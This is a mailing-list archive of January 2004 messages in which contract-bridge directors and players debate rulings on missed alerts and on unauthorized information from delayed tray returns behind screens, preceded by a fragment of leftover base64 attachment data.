AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------535247688168411-- --1D093F9C27.1074502721/smtp1.deine.fr-- From hermandw@hdw.be Mon Jan 19 09:09:37 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 19 Jan 2004 10:09:37 +0100 Subject: [blml] Transfer gone wrong In-Reply-To: References: Message-ID: <400B9ED1.9010004@hdw.be> Perfectly good example for the principles of the DeWaelSchool. Steve Wright wrote: > Teams of Four : IMP scoring > Dealer West > Both vulnerable > > AK8 > KT54 > AKT > J98 > 32 T74 > Q9 J832 > Q98765 32 > K54 QT72 > QJ965 > A76 > J4 > A63 > > West North East South > 2D[1] 2NT Pass 3H[2] > Pass 4H[3] Pass 4NT[4] > Pass Pass[5] Pass > > [1] Alerted and explained as a Weak 2 > [2] Not alerted > [3] Not alerted > [4] Alerted, no explanation requested > [5] At this point, North says "I believe I was wrong not to alert the 3H > bid. I think it should have been a transfer." West is given the > opportunity to change his bid but declines. North now decides to pass. > > Result 4NT made. The other table was 4S+1. > > This was a private match with no TD present, just eight players and a > rule book. TDs were available by telephone if required. > > The ruling by the players was; > > a] There was a failure to alter 3H, but E/W not damaged. > b] South should have assumed that North remembered the system but just > forgot to alert, so the 4H bid should have been some sort of slam try, > but cannot be a first round heart control as South has the Ace and North > has bid No Trumps over the 2D. But whatever it is, 4H should be alerted. > Given South's opening values, 4NT is not unreasonable. > c] Because of the failure to alert the 4H, North does not have any UI > that he has forgotten the system. Therefore he is allowed to "wakeup" > and remember the system at this point and is allowed to take a view and > pass the 4NT. > > Their conclusion was the various failures to alert have had no effect on > E/W bidding. N/S have not taken advantage of the UI from the failure to > alert. So table result stands. > > My view is that in general I agree with their conclusion. So do I. > However I feel > that the South is in possession of UI when he fails to alter the 4H bid. Indeed, and the laws prohibit him from making calls based on that UI. Which is, in fact, why he does not pass but bids 4NT. > I have no problem with is 4NT bid at this point, but his failure to > alert the 4H allows his partner to "wakeup". Indeed. Or rather it does not prevent his partner from waking up. > If he had correctly alerted > the 4H as a slam try agreeing Spades then North is stuffed. He cannot > now wakeup and pass the 4NT, thus driving the auction higher. Could they > stop in 4S? Or are they driven to an unmakeable contract? > South ought not to be put into an obligation to give UI to partner. He should be allowed to avoid giving this UI. > Your views please? > I see here four players with a lot more sense about how bridge ought to be played than many a director on this list. Bravo to them. Of course by speaking out in their favour I have now made them liable to being put under a fatwa. > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From t.kooyman@worldonline.nl Mon Jan 19 11:05:29 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 19 Jan 2004 12:05:29 +0100 Subject: [blml] A straightforward ruling References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> Message-ID: <004501c3de89$c12466e0$b482b6d4@LNV> Sven: > > > Rhetorical questions, I prefer to stick to my main opinion: When the tray > > arrives late all you know is that something caused that delay but normally > > (given no additional information from the auction etc.) you have no basis > > for assuming what was the reason; and any use you make on assumed extraneous > > information is at your own risk. > > > Herman: > That is not only your opinion, that is the general opinion. What makes > you believe anyone disagrees? May be everybody agrees, but what does it mean: making use on assumed extraneous info? Sven and you seem to say that if without screens and knowing for sure that partner had the problem the bid is not allowed the TD has to decide who caused the hesitation and if it was partner it is not allowed and if it was an opponent the call is allowed. Am I right assuming this? Grattan seems to say that if the player making the call does admit he based his call on the hesitation (and that is why his contribution is not really valuable, because I have to meet the first player who will do so) it doesn't matter who caused the hesitation, then the player committed an infraction. And in this completely hypothetical situation I tend to agree with Grattan, though it doesn't help us much. Let us take the following hypothetical situation: There are 10 tables with screens, bidding the same board (that is not hypothetical, it happens all the time). The auction is identical at all tables with one side (EW) just passing. And at every table at the same moment in the auction the tray stays at one side of the screen for a long time. (the EW side). After being pushed to the other side North makes a call which should not be allowed had the board been played without screens and had South hesitated. What to do? The situation is identical for everyone of the North players. But when inquiring it appears that at 9 tables South did hesitate indeed but at the 10th table West spoiled hot coffee on his lap and gave priority to saving his legs above bidding smoothly (yes: South did call smoothly and no: the NE side was not aware of what happened) . The problem we have now is that under these for Norht identical situations you will adjust the score in 9 cases and not in the coffee-case. Your solution is not to see this as a problem, which is very convenient. For me it is a problem and I do not have a clear solution. Grattan will ask the player: 'did you base your call on the hesitation? ' and solves the problem because the answer will be 'yes'. I think that we have to accept a different approach between the 9 and the 1 case, but not under all circumstances. If North's call will not be made by a fair majority of comparable players under normal circumstances ( let us say 70%) then in this coffee-case the TD himself has the authority to decide that the call most probably is based on UI (would not have been made without the irregularity at the other side of the screen) and will not allow it. ton From svenpran@online.no Mon Jan 19 13:42:16 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 19 Jan 2004 14:42:16 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <004501c3de89$c12466e0$b482b6d4@LNV> Message-ID: <000001c3de92$0d84e2f0$6900a8c0@WINXP> Ton Kooijman > Sven: > > > > > Rhetorical questions, I prefer to stick to my main > > > opinion: When the tray arrives late all you know is > > > that something caused that delay but normally > > > (given no additional information from the auction etc.) > > > you have no basis for assuming what was the reason;=20 > > > and any use you make on assumed extraneous information > > > is at your own risk. >=20 > Herman: >=20 > > That is not only your opinion, that is the general opinion. What = makes > > you believe anyone disagrees? It doesn't seem to me as if "everybody" agrees. On the contrary I have = the impression that the general opinion is "you should always consider a = late return of the tray as being caused by your partner's hesitation" (An impression that I have some problems with accepting, but se further = below). =20 >=20 > May be everybody agrees, but what does it mean: making use on assumed > extraneous info? >=20 > Sven and you seem to say that if without screens and knowing for sure = that > partner had the problem the bid is not allowed the TD has to decide = who > caused the hesitation and if it was partner it is not allowed and if = it > was an opponent the call is allowed. That was indeed one approach I tried, but I still felt a bit = uncomfortable with it and would appreciate a more fundamental analysis of the problem. = Without screens I assume we "all" agree that on knowing the source of = any extraneous information we may only make use of such information when it = is known to be caused by an opponent (and then only at our own risk). The way I understand the prime objective of screens it is to remove any possibility of communication between partners, thus completely = eliminating the question UI caused by such communication. Now it appears that screens do not meet this objective, we still = experience illegal communication in the form of late tray returns. One solution to this "problem" is to handle late tray returns as = conveying no UI unless we show that such UI was indeed present. This is consistent with assuming a player "not guilty" until guilt has been shown. (I have = come to understand that in the international bridge world we often seem to = assume guilt until innocence has been proven?) Another solution is to state that any information available from a late = tray return is extraneous information from an unknown source and thus subject = to Law 16B. This solution requires a rule (implicit or explicit) to the = effect that it does not matter whether a player can determine with absolute confidence that the source was his opponent on the other side of the = screen; he must still treat the information as received from "other sources" and = he is not permitted to use such information in any way (under Law 73D1). I have a feeling that this solution is the one most favored? (And one = that I can feel comfortable with too).=20 (A third solution is of course to declare that a total evaluation shows screens to introduce several undesired effects without meeting their = prime objective and thus that the use of screens ought to be abandoned because their limited advantage does not justify the inconvenience. Just to = clear up any misunderstanding before it arises I do not consider this a solution = at all!) Regards Sven From hermandw@hdw.be Mon Jan 19 13:55:10 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 19 Jan 2004 14:55:10 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <004501c3de89$c12466e0$b482b6d4@LNV> References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> <004501c3de89$c12466e0$b482b6d4@LNV> Message-ID: <400BE1BE.4050800@hdw.be> Hello Ton, I really don't see any discussion here. No-one has yet written anything I disagree with, or which contradicts anything anyone else has so far written. Maybe we should get our stories on the same wavelengths. Ton Kooijman wrote: > Sven: > >>>Rhetorical questions, I prefer to stick to my main opinion: When the > > tray > >>>arrives late all you know is that something caused that delay but > > normally > >>>(given no additional information from the auction etc.) you have no > > basis > >>>for assuming what was the reason; and any use you make on assumed > > extraneous > >>>information is at your own risk. >>> >> > > Herman: > > >>That is not only your opinion, that is the general opinion. What makes >>you believe anyone disagrees? > > > > May be everybody agrees, but what does it mean: making use on assumed > extraneous info? > > Sven and you seem to say that if without screens and knowing for sure that > partner had the problem the bid is not allowed the TD has to decide who > caused the hesitation and if it was partner it is not allowed and if it was > an opponent the call is allowed. > > Am I right assuming this? > Your sentence is a bit too complicated for me to agree to it or not. Surely we are agreed on this: If the tray is returned with delay, and from the bidding it is obvious that it is one player who has hesitated, then this is UI to that player's partner (and AI to the other). > Grattan seems to say that if the player making the call does admit he based > his call on the hesitation (and that is why his contribution is not really > valuable, because I have to meet the first player who will do so) it doesn't > matter who caused the hesitation, then the player committed an infraction. > > And in this completely hypothetical situation I tend to agree with Grattan, > though it doesn't help us much. > I agree with you that this is very hypothetical. > Let us take the following hypothetical situation: > > There are 10 tables with screens, bidding the same board (that is not > hypothetical, it happens all the time). The auction is identical at all > tables > with one side (EW) just passing. And at every table at the same moment in > the auction the tray stays at one side of the screen for a long time. (the > EW side). SW, you mean. > After being pushed to the other side North makes a call which > should not be allowed had the board been played without screens and had > South hesitated. > > What to do? The situation is identical for everyone of the North players. > But when inquiring it appears that at 9 tables South did hesitate indeed but > at the 10th table West spoiled hot coffee on his lap and gave priority to > saving his legs above bidding smoothly (yes: South did call smoothly and no: > the NE side was not aware of what happened) . > > The problem we have now is that under these for Norht identical situations > you will adjust the score in 9 cases and not in the coffee-case. Won't we? > Your solution is not to see this as a problem, which is very convenient. > I do see it as a problem. > For me it is a problem and I do not have a clear solution. Grattan will ask > the player: 'did you base your call on the hesitation? ' and solves the > problem because the answer will be 'yes'. > > I think that we have to accept a different approach between the 9 and the 1 > case, but not under all circumstances. If North's call will not be made by a > fair majority of comparable players under normal circumstances ( let us say > 70%) then in this coffee-case the TD himself has the authority to decide > that the call most probably is based on UI (would not have been made without > the irregularity at the other side of the screen) and will not allow it. > Well, all these North playes ought to be just as ethical as one another, and all of them should pass. That should teach the in-tempo South that he should let the other side of the screen know that the delay is caused by the coffee, not by any hesitation. In my experience, the other side is usually aware of things like coffee-spilling. > ton > > > > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Mon Jan 19 14:01:17 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 19 Jan 2004 15:01:17 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <000001c3de92$0d84e2f0$6900a8c0@WINXP> References: <000001c3de92$0d84e2f0$6900a8c0@WINXP> Message-ID: <400BE32D.3080403@hdw.be> Sven Pran wrote: >> >>Herman: >> >> >>>That is not only your opinion, that is the general opinion. What makes >>>you believe anyone disagrees? > > > It doesn't seem to me as if "everybody" agrees. On the contrary I have the > impression that the general opinion is "you should always consider a late > return of the tray as being caused by your partner's hesitation" (An > impression that I have some problems with accepting, but se further below). > No, that is not the general opinion. It is an opinion I have never heard utter, by anyone. In the original, all four players realized full well that it was South who had hesitated, that this was obvious to all others, AND that this was important for the ruling. North admitted that he knew he had UI, and he explained that he had tried taking it into consideration (he thought he had no LA's - although he did not say it like that). > >>May be everybody agrees, but what does it mean: making use on assumed >>extraneous info? >> >>Sven and you seem to say that if without screens and knowing for sure that >>partner had the problem the bid is not allowed the TD has to decide who >>caused the hesitation and if it was partner it is not allowed and if it >>was an opponent the call is allowed. > > > That was indeed one approach I tried, but I still felt a bit uncomfortable > with it and would appreciate a more fundamental analysis of the problem. > > Without screens I assume we "all" agree that on knowing the source of any > extraneous information we may only make use of such information when it is > known to be caused by an opponent (and then only at our own risk). > > The way I understand the prime objective of screens it is to remove any > possibility of communication between partners, thus completely eliminating > the question UI caused by such communication. > > Now it appears that screens do not meet this objective, we still experience > illegal communication in the form of late tray returns. > Only in those cases where the delay is clearly attributable to one player's hesitation and not to the other one's. > One solution to this "problem" is to handle late tray returns as conveying > no UI unless we show that such UI was indeed present. This is consistent > with assuming a player "not guilty" until guilt has been shown. (I have come > to understand that in the international bridge world we often seem to assume > guilt until innocence has been proven?) > That is indeed the solution that I understand to be in common usage. > Another solution is to state that any information available from a late tray > return is extraneous information from an unknown source and thus subject to > Law 16B. This solution requires a rule (implicit or explicit) to the effect > that it does not matter whether a player can determine with absolute > confidence that the source was his opponent on the other side of the screen; > he must still treat the information as received from "other sources" and he > is not permitted to use such information in any way (under Law 73D1). > > I have a feeling that this solution is the one most favored? (And one that I > can feel comfortable with too). > It is the first time I have seen it being suggested. I have done appeals at European Championships for five years now, and we have had numerous cases about delays behind screens. One of the questions we try to solve is always if the delay can be attributed to one person thinking and not to the other one. > (A third solution is of course to declare that a total evaluation shows > screens to introduce several undesired effects without meeting their prime > objective and thus that the use of screens ought to be abandoned because > their limited advantage does not justify the inconvenience. Just to clear up > any misunderstanding before it arises I do not consider this a solution at > all!) > > Regards Sven > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From svenpran@online.no Mon Jan 19 14:20:51 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 19 Jan 2004 15:20:51 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <400BE1BE.4050800@hdw.be> Message-ID: <000001c3de97$716e7c40$6900a8c0@WINXP> > Herman De Wael ......... > Well, all these North playes ought to be just as ethical as one > another, and all of them should pass. That should teach the in-tempo > South that he should let the other side of the screen know that the > delay is caused by the coffee, not by any hesitation. In my > experience, the other side is usually aware of things like > coffee-spilling. Well, in my little tale from the championship they were not aware that = the delay had been caused by both players visiting the men's room! I believe any direct communication across the screen (except by passing = the tray in the prescribed way) when it has any relation whatsoever to the = board in play is illegal. This IMO includes any message that the late return = of the tray had nothing to do with hesitations etc. because then the = absence of such message is positive information that there indeed was hesitation. Sven From nigel.guthrie@ntlworld.com Mon Jan 19 18:06:36 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 19 Jan 2004 18:06:36 -0000 Subject: [blml] A straightforward ruling References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> <004501c3de89$c12466e0$b482b6d4@LNV> Message-ID: <011b01c3deb7$088940a0$819868d5@tinyhrieuyik> [Ton Kooijman] > There are 10 tables with screens, bidding the same > board (that is not hypothetical, it happens all the > time). The auction is identical at all tables with > one side (EW) just passing. And at every table at the > same moment in the auction the tray stays at one side > of the screen for a long time. (the EW side). After > being pushed to the other side North makes a call > which should not be allowed had the board been played > without screens and had South hesitated. > > What to do? The situation is identical for everyone > of the North players. But when inquiring it appears > that at 9 tables South did hesitate indeed but at the > 10th table West spoiled hot coffee on his lap and gave > priority to saving his legs above bidding smoothly > (yes: South did call smoothly and no: the NE side was > not aware of what happened). [Nigel] Assuming that... (a) The facts are as agreed and (b) Each North claims that he would have made the same choice without putative UI, I would rule for the coffee -spiller's partner and against the others because... Each North will argue (in my view correctly), that it was possible that the delay was caused by an opponent, so he is under no UI constraint. It is perverse not to choose the same bid that he would make without any tray delay. In nine cases, however, the TD/AC should adjust because South *did* cause the delay and it *may* have helped North. I would suggest, however, that the ruling be far less draconian than without screens. Rules about screens (and lots of other vital topics) *must* be included in the next edition of TFLB --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.562 / Virus Database: 354 - Release Date: 16/01/2004 From Anne Jones" <400BE32D.3080403@hdw.be> Message-ID: <000b01c3deb6$5d911830$e7546e51@annespc> There are two things that strike me as being pertinent. 1.The correlation between the use of screens, and the playing of online bridge. 2. The wording of Law 16 in both the 1997 code and the Laws of Online bridge 2001, promulgated by the WBF. The word 'unmistakable' as an adjective for the hesitation referred to as extraneous information from partner, was I suspect considered to be adequate as a protection when, online, the cause of a hesitation is in doubt, unless a player types - in which case the UI is unmistakable. It appears therefore that this problem has been addressed and means that we should only consider UI to be present when there is no doubt as to the cause of the delay. That any action taken by a player subsequent to mistakable hesitation should be at their own risk. They are guessing after all! Anne ----- Original Message ----- From: "Herman De Wael" To: "blml" Sent: Monday, January 19, 2004 2:01 PM Subject: Re: [blml] A straightforward ruling > Sven Pran wrote: > > >> > >>Herman: > >> > >> > >>>That is not only your opinion, that is the general opinion. What makes > >>>you believe anyone disagrees? > > > > > > It doesn't seem to me as if "everybody" agrees. On the contrary I have the > > impression that the general opinion is "you should always consider a late > > return of the tray as being caused by your partner's hesitation" (An > > impression that I have some problems with accepting, but se further below). > > > > No, that is not the general opinion. It is an opinion I have never > heard utter, by anyone. In the original, all four players realized > full well that it was South who had hesitated, that this was obvious > to all others, AND that this was important for the ruling. North > admitted that he knew he had UI, and he explained that he had tried > taking it into consideration (he thought he had no LA's - although he > did not say it like that). > > > > >>May be everybody agrees, but what does it mean: making use on assumed > >>extraneous info? > >> > >>Sven and you seem to say that if without screens and knowing for sure that > >>partner had the problem the bid is not allowed the TD has to decide who > >>caused the hesitation and if it was partner it is not allowed and if it > >>was an opponent the call is allowed. > > > > > > That was indeed one approach I tried, but I still felt a bit uncomfortable > > with it and would appreciate a more fundamental analysis of the problem. > > > > Without screens I assume we "all" agree that on knowing the source of any > > extraneous information we may only make use of such information when it is > > known to be caused by an opponent (and then only at our own risk). > > > > The way I understand the prime objective of screens it is to remove any > > possibility of communication between partners, thus completely eliminating > > the question UI caused by such communication. > > > > Now it appears that screens do not meet this objective, we still experience > > illegal communication in the form of late tray returns. > > > > Only in those cases where the delay is clearly attributable to one > player's hesitation and not to the other one's. > > > One solution to this "problem" is to handle late tray returns as conveying > > no UI unless we show that such UI was indeed present. This is consistent > > with assuming a player "not guilty" until guilt has been shown. (I have come > > to understand that in the international bridge world we often seem to assume > > guilt until innocence has been proven?) > > > > That is indeed the solution that I understand to be in common usage. > > > Another solution is to state that any information available from a late tray > > return is extraneous information from an unknown source and thus subject to > > Law 16B. This solution requires a rule (implicit or explicit) to the effect > > that it does not matter whether a player can determine with absolute > > confidence that the source was his opponent on the other side of the screen; > > he must still treat the information as received from "other sources" and he > > is not permitted to use such information in any way (under Law 73D1). > > > > I have a feeling that this solution is the one most favored? (And one that I > > can feel comfortable with too). > > > > It is the first time I have seen it being suggested. I have done > appeals at European Championships for five years now, and we have had > numerous cases about delays behind screens. One of the questions we > try to solve is always if the delay can be attributed to one person > thinking and not to the other one. > > > (A third solution is of course to declare that a total evaluation shows > > screens to introduce several undesired effects without meeting their prime > > objective and thus that the use of screens ought to be abandoned because > > their limited advantage does not justify the inconvenience. Just to clear up > > any misunderstanding before it arises I do not consider this a solution at > > all!) > > > > Regards Sven > > > > -- > Herman DE WAEL > Antwerpen Belgium > http://users.skynet.be/hermandw/index.html > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From Ron.Johnson@geocan.nrcan.gc.ca Mon Jan 19 20:41:45 2004 From: Ron.Johnson@geocan.nrcan.gc.ca (Ron.Johnson@geocan.nrcan.gc.ca) Date: Mon, 19 Jan 2004 15:41:45 -0500 Subject: [blml] A straightforward ruling Message-ID: Ed Reppert wrote: >>On Friday, Jan 16, 2004, at 23:44 US/Eastern, David Kent wrote: >> Have you ever played with screens? No. [snip] >> To say that "a delay in returning the tray of itself [does not] convey >> information" shows a lack of understanding of the reality of the usage >> of screens. >Then why did you bother asking me if I'd ever played with them? >I gather that you disagree with Sven's answer to me. So do I. >Aside from that, the purpose of screens, as I understand it, is to >prevent (or at least reduce) the incidence of transmission of UI. >Apparently, according to you, they fail in that purpose. So why bother >having them? Because: A) They make it a heck of a lot tougher to cheat B) While they aren't perfect, they do at least reduce the incidence of UI. In particular, you never know what (if anything) partner has told the opposition. And you can't assume he hasn't explained something. I recall Bart Bramley giving a perfect explanation of what was a pre-emptive raise with a single gesture. He just held his nose. I was the recorder for the session and had no problem understanding the explanation as "pre-emptive and at these colors very light" and more to the point, neither did his screen-mate. Yeah, you'll generally know who's responsible for tempo breaks. It's not perfect, but it seems worth doing for matches that really matter. From ehaa@starpower.net Mon Jan 19 21:55:42 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 19 Jan 2004 16:55:42 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <004501c3de89$c12466e0$b482b6d4@LNV> References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> Message-ID: <5.2.0.9.0.20040119164944.01fe1830@pop.starpower.net> At 06:05 AM 1/19/04, Ton wrote: >Let us take the following hypothetical situation: > >There are 10 tables with screens, bidding the same board (that is not >hypothetical, it happens all the time). The auction is identical at all >tables >with one side (EW) just passing. And at every table at the same moment in >the auction the tray stays at one side of the screen for a long time. (the >EW side). After being pushed to the other side North makes a call which >should not be allowed had the board been played without screens and had >South hesitated. > >What to do? The situation is identical for everyone of the North players. >But when inquiring it appears that at 9 tables South did hesitate >indeed but >at the 10th table West spoiled hot coffee on his lap and gave priority to >saving his legs above bidding smoothly (yes: South did call smoothly >and no: >the NE side was not aware of what happened) . > >The problem we have now is that under these for Norht identical situations >you will adjust the score in 9 cases and not in the coffee-case. >Your solution is not to see this as a problem, which is very convenient. > >For me it is a problem and I do not have a clear solution. Grattan >will ask >the player: 'did you base your call on the hesitation? ' and solves the >problem because the answer will be 'yes'. > >I think that we have to accept a different approach between the 9 and >the 1 >case, but not under all circumstances. If North's call will not be >made by a >fair majority of comparable players under normal circumstances ( let >us say >70%) then in this coffee-case the TD himself has the authority to decide >that the call most probably is based on UI (would not have been made >without >the irregularity at the other side of the screen) and will not allow it. And that's only one dimension in a two-dimensional problem space. Even if we stipulate that there is a 70% standard for disallowing the action here and the TD judges that it has been met, we still must ask at how many tables would there have to have been coffee spilled for him to allow the action. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Mon Jan 19 22:30:44 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 19 Jan 2004 17:30:44 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <000001c3de92$0d84e2f0$6900a8c0@WINXP> References: <004501c3de89$c12466e0$b482b6d4@LNV> Message-ID: <5.2.0.9.0.20040119170245.01fe99c0@pop.starpower.net> At 08:42 AM 1/19/04, Sven wrote: >One solution to this "problem" is to handle late tray returns as conveying >no UI unless we show that such UI was indeed present. This is consistent >with assuming a player "not guilty" until guilt has been shown. (I >have come >to understand that in the international bridge world we often seem to >assume >guilt until innocence has been proven?) > >Another solution is to state that any information available from a >late tray >return is extraneous information from an unknown source and thus >subject to >Law 16B. This solution requires a rule (implicit or explicit) to the >effect >that it does not matter whether a player can determine with absolute >confidence that the source was his opponent on the other side of the >screen; >he must still treat the information as received from "other sources" >and he >is not permitted to use such information in any way (under Law 73D1). These are by no means incompatible; I am quite comfortable accepting both. Any information that might be contained in the tempo of the return of the tray comes from neither partner nor an opponent; it comes from the tempo of the return of the tray. That sounds like an "extraneous" source, and L16B allows adjustments for information from extraneous sources -- but only if "the information could interfere with normal play". To reach that finding, we must show "that such UI [i.e. that could interfere with normal play] was indeed present", which is indeed consistent with assuming a player "not guilty" until, if not "guilt has been shown", there is at least some further evidence to suggest it beyond the simple fact of the tray having been late (combined with a bunch of a priory assumptions about what "could have" or "might have" been responsible, but that's really a side-issue). That produces a middle ground, where we can adjust when circumstances appear to warrant it, but need not adjust every time we would have done so had there been no screens. All of which simply means recognizing that, when it comes to eliminating UI, screens are neither perfect nor useless. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From nigel.guthrie@ntlworld.com Mon Jan 19 23:46:51 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 19 Jan 2004 23:46:51 -0000 Subject: [blml] A straightforward ruling References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> <004501c3de89$c12466e0$b482b6d4@LNV> <011b01c3deb7$088940a0$819868d5@tinyhrieuyik> Message-ID: <01f101c3dee6$8363b560$819868d5@tinyhrieuyik> > [Ton Kooijman] > > There are 10 tables with screens, bidding the same > > board (that is not hypothetical, it happens all the > > time). The auction is identical at all tables with > > one side (EW) just passing. And at every table at the > > same moment in the auction the tray stays at one side > > of the screen for a long time. (the EW side). After > > being pushed to the other side North makes a call > > which should not be allowed had the board been played > > without screens and had South hesitated. > > > > What to do? The situation is identical for everyone > > of the North players. But when inquiring it appears > > that at 9 tables South did hesitate indeed but at the > > 10th table West spoiled hot coffee on his lap and gave > > priority to saving his legs above bidding smoothly > > (yes: South did call smoothly and no: the NE side was > > not aware of what happened). > > [Nigel] > Assuming that... > (a) The facts are as agreed and > (b) Each North claims that he would have made the same > choice without putative UI, I would rule for the coffee > -spiller's partner and against the others because... > > Each North will argue (in my view correctly), that it > was possible that the delay was caused by an opponent, > so he is under no UI constraint. It is perverse not > to choose the same bid that he would make without any > tray delay. > > In nine cases, however, the TD/AC should adjust because > South *did* cause the delay and it *may* have helped > North. I would suggest, however, that the ruling be > far less draconian than without screens. > > Rules about screens (and lots of other vital topics) > *must* be included in the next edition of TFLB Clarification... I meant that the TD would tend to rule for the partner of the player who did not hesitate and against the others. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.562 / Virus Database: 354 - Release Date: 16/01/2004 From cyaxares@lineone.net Mon Jan 19 12:45:00 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Mon, 19 Jan 2004 12:45:00 -0000 Subject: [blml] A straightforward ruling References: <5F08E66A-49C1-11D8-AD3B-0030656F6826@rochester.rr.com> Message-ID: <000f01c3df03$a83b7270$3b11e150@endicott> Grattan Endicott To: "blml" Sent: Sunday, January 18, 2004 2:19 PM Subject: Re: [blml] A straightforward ruling > > Okay, given this, the obvious practical question > is "are we (as TDs and ACs) to assume that a > player who *may have* chosen an action because > it *may have been* suggested by something > about the return of the tray *in fact* did so? I put > it thus because, practically speaking, if you say > "no, but we should rule *as if* he did so, whether > he did or not" then the player in question will > almost certainly feel that you imply he did so, > whatever you tell him. At least, I would. > +=+ I do not think 'may have' enters into it. The Director can only intervene if he judges that an irregularity has occurred. The standards of proof for this judgemental decision are of the same level as for any other judgemental decision in the implementation of bridge law. I am advised that in Britain (ergo in Europe) that would be to the standard required in a civil action in the law courts - a sufficient preponderance of probability, but falling short of the "beyond reasonable doubt" standard that applies in criminal cases. +=+ < > My view of the laws, naive though it might be, > is that players should expect redress when an > opponent has violated procedure and that has > resulted in damage, but that those opponents > should not expect to have their good result > taken away because they *might* have done > something wrong. > +=+ I agree that "might have" is an insufficient condition for the Director to adjust the score. He must be satisfied that there is evidence of a substantial probability that an infraction has occurred. He must establish the fact that a significant retardation of the return of the tray occurred. He must satisfy himself that there is persuasive evidence from the player's subsequent calls that he did not act within strict accordance of the laws, seeking to follow correct procedure in avoiding any influence from the delay upon his choice of call as was his duty.+=+ < > Further thought: When I was on active duty, > a situation involving certain officers and certain > enlisted people in the command came about. > As part of the fallout of this, and in spite of the > fact that no one had done anything wrong, it > was emphasized to all officers that not only must > they not commit impropriety, they must avoid > even the *appearance* of impropriety. I > consider that wholly appropriate for military > officers - I'm not so sure it's appropriate for > bridge players. It is, after all, a game. If I'm > wrong, please explain why. > +=+ Being conscious of a significant delay in the return of the tray, the player must continue to rely for his choice of call solely upon the meaning of the legal calls. There are no plays as yet, and he cannot observe any mannerism of a player on the other side of the screen (a mannerism of his screenmate is authorized information). He has a duty not to let other, extraneous, information affect his choice of action. If his choice of call is adjudged to betray such influence, 